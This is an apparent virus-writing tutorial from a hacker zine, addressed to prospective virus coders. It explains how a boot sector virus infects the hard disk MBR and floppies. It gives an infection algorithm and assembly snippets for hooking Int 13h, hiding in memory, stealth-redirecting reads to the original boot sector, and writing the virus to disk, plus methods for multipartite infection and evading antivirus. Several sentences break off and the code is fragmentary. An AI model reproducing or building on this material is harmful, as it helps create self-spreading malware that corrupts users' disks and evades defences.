Boot Sector Infection
A lot of coders have difficulty taking the step from file infection to
boot sector infection. The prospective coder is always scared of writing
to the harddisk with a direct Int 13h and confused by the technical
There isn't much to know about boot sector infection really, and
it's actually easier than com infection once you know how to do it.
I'll demonstrate how to do infection later on but first there is some basic
technical information that is important to know:
On bootup Int 19h loads the boot sector into memory at 0:7C00h and
executes it at that position. On entry to the code all registers are
set to any value (including SS:SP) except DL which points to the drive
being booted off (this is due to int 19h which needs a drive number when
it gets called). Only BIOS interrupts may be called by the bootsector so
that gives you the vectors from 0-1F and some more obscure ones such as
int 76h. The standard stack used by any boot sectors is 0:7C00 and you
should set your SS:SP to this on entry.
Much useful data is located in the BIOS data segment, segment 40h. Because
of segmentation, it is convenient to address the data in the form
0000:04xx so that the interrupt table and code segment may addressed at
the same time. The most important data in segment 40h for the virus
writer is the BIOS memory size located at 0:413h (40:13). It indicates
the amount of conventional memory available on the computer in 1K (1024)
units. Interrupt 12h returns the value of this word in AX.
All boot sectors, including DOS partitions, contain a 55AA marker as the
last word in the sector at offset 510 (1FEh). It is necessary that this
is present if the sector is to be executed.
The hard disk MBR is located at sector 1, track 0, head 0 of drive C
(80h). At offset 1BEh of the MBR is the partition table which is 64 bytes
long. When the virus is written to the harddisk MBR, it is important that
these 64 bytes are maintained in their position, or else the computer
can't be accessed if booting 'clean' from the disk drive. Apart from the
first sector, which is used by the MBR, all of track 0 is free space to be
used by a virus as it wants. Most boot sector viruses use this room, and
there is all the space a virus will require, as most harddisks have at
least a minimum of 16 sectors per track. When the MBR executes it scans
the partition table for a bootable partition, it loads this sector in, and
executes it. Thus it is possible to also infect the computers' DOS
partition boot sector, which would be done using the same method as a
floppy boot sector.
Set SS:SP to 0:7C00h
Lower BIOS memory allocation
Write virus into the free space in memory
Set int 13h to the virus int 13h handler
Call int 19h to exit
If it's not a read to the sector 1, head 0, track 0 then ignore.
Call the read.
If the buffer doesn't have the virus code then infect.
To stealth, read the original bootsector into buffer.
Write original boot sector elsewhere on the disk.
Write virus to the boot sector.
Set SS:SP to 0:7C00 :
cli ;disable interrupts
sti ;enable interrupts
Lower BIOS memory allocation:
dec word ptr [413h] ;Memory less by 1K
Write virus into the free space in memory:
int 12h ;memory into AX
mov cl,6 ;because memory is in K
mov es,ax ;ES is the virus segment
mov cx,512 ;assume DS:SI points to virus start
rep movsb ;move virus into its memory
Set int 13h to the virus int 13h handler:
mov di,offset int13storage
mov word ptr [si-4],offset int13handler
mov word ptr [si-2],es
Call int 19h to exit:
int 19h ;Will try to reload the virus sector, but
;stealth will redirect it to the original
If it's not a read to the sector 1, head 0, track 0 then ignore:
cmp ah,2 ;read ?
cmp cx,1 ;sector 1, track 0 ?
or dh,dh ;head 0 ?
Call the read:
call dword ptr cs:int13storage
If the buffer doesn't have the virus code then infect:
cmp word ptr es:[bx+offset marker],MarkerBytes
;infection code follows...
To stealth, read the original bootsector into buffer.
mov cx,2 ;stored original BS at sector 2
Write original boot sector elsewhere on the disk:
mov cx,2 ;store orig BS at sector 2
Write virus to the boot sector:
xor bx,bx ;virus code is at offset 0
In the code examples I have completely ignored floppy disk infection, but
good places to store the original boot sector on a disk are at the end of
the root directory (like stoned does) or reduce the size of the track
entry in the bootsector information, and place the virus in there.
Comparison between floppy/HD will often be necessary due to their different
Multipartitism is where the virus not only infects boot sectors, but also
does COM, EXE or SYS files. The hardest part of doing this is intercepting
the Int 21h vector. If you hook too early the system will crash or not
be infected at all. Too late and AV software will get in first and avoid
The most common method is continuous checking of the start of the read
buffer for an 'MZ' because this will indicate the loading of an EXE file.
The computer will hang for anyone using QEMM (DOSDATA.SYS).
Hooking Int 10h and waiting for some call, such as a clear screen which
indicates program loading.
Using a counter, and grabbing int 21h after a period of time has elapsed.
Checking to see if an interrupt vector changes/points to a certain segment.
This won't work with QEMM (DOSDATA.SYS) either.
Grabbing Int 21h from a boot sector virus is difficult, and often
incompatible, but some viruses like junkie have been highly successful doing
- VLAD #7 INDEX -